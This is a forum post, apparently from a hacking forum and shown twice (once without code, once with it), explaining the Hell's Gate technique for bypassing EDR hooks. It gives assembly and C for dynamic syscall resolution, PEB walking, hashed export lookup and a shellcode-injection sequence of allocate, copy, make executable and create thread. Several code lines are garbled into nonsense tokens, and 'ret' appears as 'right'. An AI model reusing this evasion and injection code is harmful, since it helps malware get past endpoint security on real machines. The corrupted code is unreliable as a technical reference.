Author Remio
Source https://xss.pro
REMIO Q | 19/06/2025 | Windows API Unhooking Continued: Hell’s Gate Technique
In my previous post I give an introduction to Windows API unhooking and provide a demonstration for the RecycledGate technique. I will continue on from this post with a throwback to the classic Hell’s Gate technique: the foundational technique for bypassing usermode EDR hooks through direct syscall execution.
The technique works by parsing NTDLL’s export table at runtime and locating target functions (NtAllocateVirtualMemory, NtCreateThreadEx etc.) extracting their syscall numbers from the function prologue, and then executing those syscalls directly through a custom asm stub. This eliminates the need to call through potentially monitored API entry points.
One of the classic tactics for bypassing usermode EDR hooks is to simply bypass the Import Address Table (IAT). By this I mean instead of using standard Win API (LoadLibrary, GetProcAddress etc.), you simply parse the Export Address Table (EAT) of kernel32.dll directly in memory, letting you dynamically resolve functions at runtime and avoid static imports.
Such technique was showcased back in 1997 29a Labs ezine, where a minimal API resolver to keep aninfector fully relocatable and independent of hardcoded addresses was demonstrated.
This is still a valid, albeit dated evasion strategy. Red Team tooling has moved toward raw syscalls however.
But there exists a catch. Tools like SysWhispers depend entirely on static syscall IDs. They’re brittle, hardcoded, version specific, and reliant on j00ru’s syscall tables (https://j00ru.vexillium.org/syscalls/nt/64/). Not very evasive.
Hell’s Gate represents the evolution from static syscall implementations (which hardcode syscall numbers) to dynamic resolution, making the technique more portable across different Windows versions where syscall numbers may vary.
It is worth noting that while Hell’s Gate isa significant leap forward in evasion techniques, it is not without limitations. Some modern EDRs have introduced kernel-level syscall tracing, or heuristics that detect unnatural syscall usage patterns. Furthermore, due to the public nature of the technique, some EDRs flag the specific assembly stub used in most Hell’s Gate PoCs. Despite this, it remains a valuable educational reference and a viable method when adapted properly, particularly in scenarios where stealth is prioritized over stability.
In the next part we shall explore an demonstration of this technique.
Execution Flow:
Hell's Gate x64 Demonstration Program
This demonstration focuses on dynamically locating syscall numbers for key NT functions and invoking them directly via custom assembly stubs. The final result is a stealthy syscall framework that avoids traditional monitored APIs like VirtualAlloc or CreateThread.
Github Link to Demo Program: https://github.com/RemyQue/Hell-s-Gate-Technique-Demo
Project Structure:
HellsGate/
Assembly Syscall Stub (hellsgate.asm)
Our engine that powers Hell's Gate, written in x64 asm. It enables direct syscall execution while avoiding usermode API stubs entirely.
HellsGate sets the syscall number passed via ECX into a global variable and sets up syscall execution by moving parameters into correct registers and calling
Syscall Table Structures
Each entry holds the original NTDLL function address, a hash of the function name, and the resolved syscall number.
Syscall Number Extraction Logic
To find the syscall number, Hell’s Gate scans the function prologue for a known instruction pattern.
If the pattern is found, the immediate value loaded into EAX is extracted as the syscall number.
Hook Detection Logic
Before extracting the number, the code verifies that the function isn’t hooked or patched[.] This ensures that if a
PE Export Parsing & Hash Lookup
Instead of calling GetProcAddress, the export directory is parsed manually using hashes for stealth.
PEB Walking for NTDLL Base Address
To populate the syscall table we manually parse the export directory of ntdll.dll using precomputed hashes of the target funtion names. This approach avoids calling standard Windows APIs like GetProcAddress that are often hooked by the EDR.
Instead, we iterate over the exported symbols in memory, compare their hashed names against our known values, and extract the corresponding function addresses. This technique enhances stealth by keeping all the resolution logic internal and avoiding suspicious API use.
Initialization and Table Population
Direct Syscall Execution (Payload Demo)
We demonstrate Hell’s Gate by allocating memory, injecting shellcode, changing memory protection, and creating a thread.
Conclusion & Final Thoughts
Hell’s Gate represents the OG approach to usermode hook evasion through direct syscall execution. By dynamically extracting syscall numbers and executing them directly it completely bypasses inline hooks placed by EDRs on common NTDLL functions.
The beauty of Hell’s Gate lies in its simplicity and effectiveness. Rather than trying to detect or remove hooks it simply goes round them entirely. Every syscall executed through Hell’s Gate transitions directly from user mode to kernel mode without touching potentially monitored API entry points.
While modern EDRs have adapted to detect direct syscall patterns, Hell’s Gate remains a fundimental technique to understand as it makes the foundation for more advanced methods like Halo’s Gate, Tartarus’ Gate, and RecycledGate technique https://xss.pro/threads/140033/#post-992769 . The principles established here - dynamic syscall resolution, PE parsing, and direct kernel transitions - are essential building blocks for modern evasion techniques.
The source code provides a clean demonstration of these concepts. Remember to use these capabilities responsibly and only in authorized testing environments.
Github Link to Demo Program: https://github.com/RemyQue/Hell-s-Gate-Technique-Demo
”The path to hell is paved with good intentions, but the gate itself is opened with knowledge.”
Thanks for reading.
- Remy
Demo Program Modified from: https://github.com/am0nsec/HellsGate/tree/master
Source https://xss.pro
REMIO Q | 19/06/2025 | Windows API Unhooking Continued: Hell’s Gate Technique
In my previous post I give an introduction to Windows API unhooking and provide a demonstration for the RecycledGate technique. I will continue on from this post with a throwback to the classic Hell’s Gate technique: the foundational technique for bypassing usermode EDR hooks through direct syscall execution.
The technique works by parsing NTDLL’s export table at runtime and locating target functions (NtAllocateVirtualMemory, NtCreateThreadEx etc.) extracting their syscall numbers from the function prologue, and then executing those syscalls directly through a custom asm stub. This eliminates the need to call through potentially monitored API entry points.
One of the classic tactics for bypassing usermode EDR hooks is to simply bypass the Import Address Table (IAT). By this I mean instead of using standard Win API (LoadLibrary, GetProcAddress etc.), you simply parse the Export Address Table (EAT) of kernel32.dll directly in memory, letting you dynamically resolve functions at runtime and avoid static imports.
Such technique was showcased back in 1997 29a Labs ezine, where a minimal API resolver to keep aninfector fully relocatable and independent of hardcoded addresses was demonstrated.
This is still a valid, albeit dated evasion strategy. Red Team tooling has moved toward raw syscalls however.
But there exists a catch. Tools like SysWhispers depend entirely on static syscall IDs. They’re brittle, hardcoded, version specific, and reliant on j00ru’s syscall tables (https://j00ru.vexillium.org/syscalls/nt/64/). Not very evasive.
Hell’s Gate represents the evolution from static syscall implementations (which hardcode syscall numbers) to dynamic resolution, making the technique more portable across different Windows versions where syscall numbers may vary.
It is worth noting that while Hell’s Gate isa significant leap forward in evasion techniques, it is not without limitations. Some modern EDRs have introduced kernel-level syscall tracing, or heuristics that detect unnatural syscall usage patterns. Furthermore, due to the public nature of the technique, some EDRs flag the specific assembly stub used in most Hell’s Gate PoCs. Despite this, it remains a valuable educational reference and a viable method when adapted properly, particularly in scenarios where stealth is prioritized over stability.
In the next part we shall explore an demonstration of this technique.
Execution Flow:
Код:
Your Code → HG_NtAllocateVirtualMemory → HellsGate → HellDescent → syscall → Kernel → Direct system call execution
Hell's Gate x64 Demonstration Program
This demonstration focuses on dynamically locating syscall numbers for key NT functions and invoking them directly via custom assembly stubs. The final result is a stealthy syscall framework that avoids traditional monitored APIs like VirtualAlloc or CreateThread.
Github Link to Demo Program: https://github.com/RemyQue/Hell-s-Gate-Technique-Demo
Project Structure:
HellsGate/
- main.c: Entry point and syscall table logic
- hellsgate.asm: Assembly syscall engine
- structs.h: Windows internal types
Assembly Syscall Stub (hellsgate.asm)
Our engine that powers Hell's Gate, written in x64 asm. It enables direct syscall execution while avoiding usermode API stubs entirely.
Код:
; Global storage for syscall number
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
right
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
right
HellDescent ENDP
HellsGate sets the syscall number passed via ECX into a global variable and sets up syscall execution by moving parameters into correct registers and calling
syscall, transferring control to kernel mode.Syscall Table Structures
Each entry holds the original NTDLL function address, a hash of the function name, and the resolved syscall number.
Код:
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
Syscall Number Extraction Logic
To find the syscall number, Hell’s Gate scans the function prologue for a known instruction pattern.
Код:
// MOV R10, RCX (4c 8b d1)
// MOV EAX, XX XX 00 00
if (*((PBYTE)pFunctionAddress + cw) == 0x4c &&
*((PBYTE)pFunctionAddress + 1 + cw) == 0x8b &&
*((PBYTE)pFunctionAddress + 2 + cw) == 0xd1 &&
*((PBYTE)pFunctionAddress + 3 + cw) == 0xb8 &&
*((PBYTE)pFunctionAddress + 6 + cw) == 0x00 &&
*((PBYTE)pFunctionAddress + 7 + cw) == 0x00)
{
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry->wSystemCall = (high << 8) | low;
break;
}
If the pattern is found, the immediate value loaded into EAX is extracted as the syscall number.
Hook Detection Logic
Before extracting the number, the code verifies that the function isn’t hooked or patched[.] This ensures that if a
syscall or ret appears before the pattern, the function is likely hooked.
Код:
while (TRUE) {
if (*((PBYTE)pFunctionAddress + cw) == 0x0f &&
*((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;
cw++;
}
PE Export Parsing & Hash Lookup
Instead of calling GetProcAddress, the export directory is parsed manually using hashes for stealth.
Код:
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x7734773477347734;
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
Pachar PCJFUNCTanname = (trafficking)((pbyte)pmodulbase + pediodrugname[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
pVxTableEntry->pAddress = pFunctionAddress;
// Extract syscall number…
}
}
PEB Walking for NTDLL Base Address
To populate the syscall table we manually parse the export directory of ntdll.dll using precomputed hashes of the target funtion names. This approach avoids calling standard Windows APIs like GetProcAddress that are often hooked by the EDR.
Instead, we iterate over the exported symbols in memory, compare their hashed names against our known values, and extract the corresponding function addresses. This technique enhances stealth by keeping all the resolution logic internal and avoiding suspicious API use.
Код:
// Get current TEB and PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
// Traverse loader list
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)
((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
Initialization and Table Population
Код:
// Hashes for target functions
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
// Populate syscall table
if (! GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Direct Syscall Execution (Payload Demo)
We demonstrate Hell’s Gate by allocating memory, injecting shellcode, changing memory protection, and creating a thread.
Код:
// 1. Allocate memory
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(Table.NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
2. Copy shellcode
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
// 3. Make it executable
ulOldProtect HEAD = 0;
HellsGate(Table.NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
// 4. Spawn thread
HellsGate(Table.NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1,
(LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
// 5. Wait
HellsGate(Table.NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);
Conclusion & Final Thoughts
Hell’s Gate represents the OG approach to usermode hook evasion through direct syscall execution. By dynamically extracting syscall numbers and executing them directly it completely bypasses inline hooks placed by EDRs on common NTDLL functions.
The beauty of Hell’s Gate lies in its simplicity and effectiveness. Rather than trying to detect or remove hooks it simply goes round them entirely. Every syscall executed through Hell’s Gate transitions directly from user mode to kernel mode without touching potentially monitored API entry points.
While modern EDRs have adapted to detect direct syscall patterns, Hell’s Gate remains a fundimental technique to understand as it makes the foundation for more advanced methods like Halo’s Gate, Tartarus’ Gate, and RecycledGate technique https://xss.pro/threads/140033/#post-992769 . The principles established here - dynamic syscall resolution, PE parsing, and direct kernel transitions - are essential building blocks for modern evasion techniques.
The source code provides a clean demonstration of these concepts. Remember to use these capabilities responsibly and only in authorized testing environments.
Github Link to Demo Program: https://github.com/RemyQue/Hell-s-Gate-Technique-Demo
”The path to hell is paved with good intentions, but the gate itself is opened with knowledge.”
Thanks for reading.
- Remy
Demo Program Modified from: https://github.com/am0nsec/HellsGate/tree/master
Последнее редактирование модератором: